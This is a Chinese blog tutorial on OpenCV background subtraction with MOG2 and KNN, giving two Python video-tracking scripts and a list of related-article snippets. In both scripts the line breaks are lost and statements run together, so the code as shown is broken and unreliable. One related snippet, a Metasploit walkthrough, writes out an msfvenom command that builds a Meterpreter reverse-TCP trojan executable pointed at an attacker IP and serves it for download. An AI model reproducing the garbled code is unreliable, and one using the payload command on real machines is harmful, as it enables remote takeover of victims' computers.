【python】OpenCV—Tracking(10.2)

在这里插入图片描述

文章目录

  • BackgroundSubtractor
  • createBackgroundSubtractorMOG2
  • createBackgroundSubtractorKNN

BackgroundSubtractor

Opencv 有三种背景分割器

  • K-Nearest:KNN

  • Mixture of Gaussian(MOG2)

  • Geometric Multigid(GMG)

借助 BackgroundSubtractor 类,可检测阴影,用阈值排除阴影,从而关注实际特征

createBackgroundSubtractorMOG2

OpenCV图像处理- 视频背景消除与前景ROI提取

API:

cv2.createBackgroundSubtractorMOG2(
int history = 500,
double varThreshold = 16,
bool detectShadows = true
)
参数解释如下:

  • history表示过往帧数,500帧,选择history = 1就变成两帧差
  • varThreshold表示像素与模型之间的马氏距离,值越大,只有那些最新的像素会被归到前景,值越小前景对光照越敏感。
  • detectShadows 是否保留阴影检测,请选择False这样速度快点。
import cv2
import os
# bs = cv2.createBackgroundSubtractorKNN(detectShadows=True)
bs = cv2.createBackgroundSubtractorMOG2(detectShadows=True)
os.makedirs("frame1", exist_ok=True)
os.makedirs("frame2", exist_ok=True)
os.makedirs("frame3", exist_ok=True)camera = cv2.VideoCapture('car.mkv')
index = 0
while True:ret, frame = camera.read()index += 1frame_h, frame_w, _ = frame.shapefgmask = bs.apply(frame)th = cv2.threshold(fgmask.copy(), 244, 255, cv2.THRESH_BINARY)[1]dilated = cv2.dilate(th, cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3)),iterations=2)contours, _ = cv2.findContours(dilated, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)for c in contours:# if cv2.contourArea(c) > frame_w*0.075 * frame_h*0.075:if cv2.contourArea(c) > 1000:(x, y, w, h) = cv2.boundingRect(c)cv2.rectangle(frame, (x,y), (x+w, y+h), (0, 0, 255), 5)cv2.imshow("mog", fgmask)cv2.imwrite("./frame1/{}.jpg".format(index), fgmask)cv2.imshow("thresh", th)cv2.imwrite("./frame2/{}.jpg".format(index), th)cv2.imshow("detection", frame)cv2.imwrite("./frame3/{}.jpg".format(index), frame)if cv2.waitKey(30) & 0xff == ord("q"):breakcamera.release()
cv2.destroyAllWindows()

请添加图片描述

请添加图片描述

请添加图片描述
做 gif 的时候只设置了播放一次,重复播放需要刷新

createBackgroundSubtractorKNN

import cv2
import numpy as np
bs = cv2.createBackgroundSubtractorKNN(detectShadows=True)
camera = cv2.VideoCapture('car.mkv')
index = 0
while True:ret, frame = camera.read()index += 1frame_h, frame_w, _ = frame.shapefgmask = bs.apply(frame)th = cv2.threshold(fgmask.copy(), 244, 255, cv2.THRESH_BINARY)[1]dilated = cv2.dilate(th, cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3)),iterations=2)contours, _ = cv2.findContours(dilated, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)for c in contours:# if cv2.contourArea(c) > frame_w*0.075 * frame_h*0.075:if cv2.contourArea(c) > 1000:(x, y, w, h) = cv2.boundingRect(c)cv2.rectangle(frame, (x,y), (x+w, y+h), (0, 0, 255), 5)cv2.imshow("mog", fgmask)cv2.imwrite("./frame1/{}.jpg".format(index), fgmask)cv2.imshow("thresh", th)cv2.imwrite("./frame2/{}.jpg".format(index), th)cv2.imshow("detection", frame)cv2.imwrite("./frame3/{}.jpg".format(index), frame)if cv2.waitKey(30) & 0xff == ord("q"):breakcamera.release()
cv2.destroyAllWindows()

请添加图片描述

请添加图片描述

请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/18427.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AURIX TC3xx单片机介绍-启动过程介绍2

AURIX TC377,TC387,TC397用户启动程序流程 用户启动程序是在Boot Firmware之后运行的程序(即用户程序里的第一级Boot Loader,类似Linux的Uboot),初始化过程是CPU0完成的。用户可以根据不同的复位事件来选择不同的执行路径。 AURITX 2代芯片的主要启动过程如下(该阶段只…

WebGL学习(一)渲染关系

学习webgl 开发理解渲染关系是必须的,也非常重要,很多人忽视了这个过程。 我这里先简单写一下,后面尽量用通俗易懂的方式,举例讲解。 WebGL,全称Web Graphics Library,是一种在网页上渲染3D图形的技术。它…

C++模板元编程--函数萃取

在C中&#xff0c;std::declval是一个非常有用的模板函数&#xff0c;它是标准库<utility>头文件的一部分。它的主要作用是在不创建对象的情况下&#xff0c;获取该类型的引用&#xff0c;从而允许在编译时表达式中使用该类型的成员函数或成员变量&#xff0c;即使没有默…

python中的-1是什么意思

python中的-1是什么意思&#xff1f; -1指的是索引&#xff0c;即列表的最后一个元素。 比如你输入一个列表&#xff1a; a &#xff1d; [1,2,3,4,5,6,7] a[-1]就代表索引该列表最后一个值&#xff0c;你可以 b a[-1] print(b) 结果如下&#xff1a; 7 索引从左往右是…

P9712 「QFOI R1」贴贴

「QFOI R1」贴贴 题目描述 小 R 是一个可爱的女孩子&#xff0c;她希望通过给洛谷题目写题解的方式跟出题人贴贴。 她发现&#xff0c;如果从题解界面点击“提交题解”按钮&#xff0c;博客中会自动生成 URL 标识符&#xff0c;也就是文章的链接。 其中&#xff0c;标识符的…

GB/T 33133.2-2021 《信息安全技术 祖冲之序列密码算法 第2部分:保密性算法》标准介绍

编写背景 在数字化时代&#xff0c;信息安全的重要性日益凸显。为了加强数据传输和存储的安全性&#xff0c;中国国家标准GB/T 33133.2-2021应运而生。这一标准是祖冲之序列密码算法系列的第二部分&#xff0c;专注于保密性算法&#xff0c;旨在提供一种高效、安全的数据加密解…

升级鸿蒙4.2新变化,新增 WLAN 网络自动连接开关!

手机已经成为现代人生活中不可或缺的一部分&#xff0c;手机里的功能可以满足大部分人的生活场景&#xff0c;但是最依赖的应该就是手机网络&#xff0c;手机网络突然变差怎么办——消息发不出去&#xff1f;刷新闻速度变慢&#xff1f;仔细检查后&#xff0c;发现其实不是手机…

什么是边缘计算?它为何如此重要?天拓四方

随着信息技术的快速发展&#xff0c;数据处理和计算的需求日益增大&#xff0c;特别是在实时性要求极高的场景中&#xff0c;传统的云计算模式面临着巨大的挑战。在这样的背景下&#xff0c;边缘计算作为一种新兴的计算模式&#xff0c;正逐渐受到业界的广泛关注。那么&#xf…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

python数据分析——分组操作1

参考资料&#xff1a;活用pandas库 1、简介 借助“分割-应用-组合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分组操作可以有效地聚合、转换和过滤数据。 分割&#xff1a;基于键&#xff0c;把要处理的数据分割为小片段。 应用&#xff1a;分别处理每个数…

Linux shell编程学习笔记51: cat /proc/cpuinfo:查看CPU详细信息

0 前言 2024年的网络安全检查又开始了&#xff0c;对于使用基于Linux的国产电脑&#xff0c;我们可以编写一个脚本来收集系统的有关信息。对于中央处理器CPU比如&#xff0c;我们可以使用cat /proc/cpuinfo命令来收集中央处理器CPU的信息。 1. /proc/cpuinfo 保存了系统的cpu…

树莓派开箱

1.树莓派4B配置 CPU&#xff1a;64位1.5GHZ四核处理器。 GPU:Broadcom VideoCore VI500MHZ 蓝牙5.0 电源Type C(5V 3A),也可以使用排针链接5V锂电池最大放电电流必须达到3A。 还有千兆以太网等以后用到再说。 接下来进入文章重点 2.镜像文件烧录 前期准备&#xff1a;1…

「TypeScript系列」TypeScript 命名空间

文章目录 一、TypeScript 命名空间1. 使用命名空间2. 命名空间与模块的区别3. 总结 二、命名空间使用场景1. 防止命名冲突2. 组织和管理代码3. 兼容其他库或框架4. 大型项目中封装功能模块5. 总结 三、命名空间有哪些优缺点1. 优点&#xff1a;2. 缺点&#xff1a; 四、相关链接…

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

在数字化时代,人机交互正以前所未有的速度进化,而AI数字人的发展正是这一进程中的重要里程碑。近期,一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注,该技术不仅增强了数字人的表现力,也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…

【leetcode1944--队列中可以看到的人数】

有n人排成一个队列&#xff0c;从左到右编号为0到n-1&#xff0c;height数组记录每个人的身高&#xff0c;返回一个数组&#xff0c;记录每个人能看到几个人。 类比&#xff1a;山峰问题&#xff0c;高的后面的矮的看不见。 从后往前&#xff0c;最后一个元素入栈&#xff0c…

Apifox 更新|编排模式、Markdown 编辑器升级、自动申请 SSL 证书、用户反馈问题优化

Apifox 新版本上线啦&#xff01; 看看本次版本更新主要涵盖的重点内容&#xff0c;有没有你所关注的功能特性&#xff1a; 自动化测试新增「编排模式」Markdown 编辑器全新升级返回响应直接预览 PDF 及视频自动申请 SSL 证书支持配置自定义域名的子目录流式接口支持筛选和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 图像处理中最经典的边沿检测算法&#xff1a; Canny边缘检测_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真。 2.系统仿真结果 上面的仿真结果是无控制器和LQG的对比&#xff0c;以及有控制器和LQG的对比仿真。 3.核心程…

win10桌面右键-新建文件夹-死机-修复

死机->任务管理器->重新启动 任务管理器&#xff1a;重新启动“文件资源管理器”或者关闭“文件资源管理器” 快捷键&#xff1a;CtrlAltEsc 关闭后桌面黑屏重新启动&#xff1a;文件->运行新任务->输入 explorer ->确定 死机-> 事件查看器->排查错误 …

Qt串口异步通信案例(从机线程)

文章目录 串口线程类初始化串口类打开串口并发送数据析构函数 窗口设置窗口函数实现 串口线程类 SlaveThread&#xff08;从机线程&#xff09; 目的&#xff1a;等待并响应来自主机的请求&#xff0c;然后发送预设的响应数据。 关键行为&#xff1a;线程启动后&#xff0c;通过…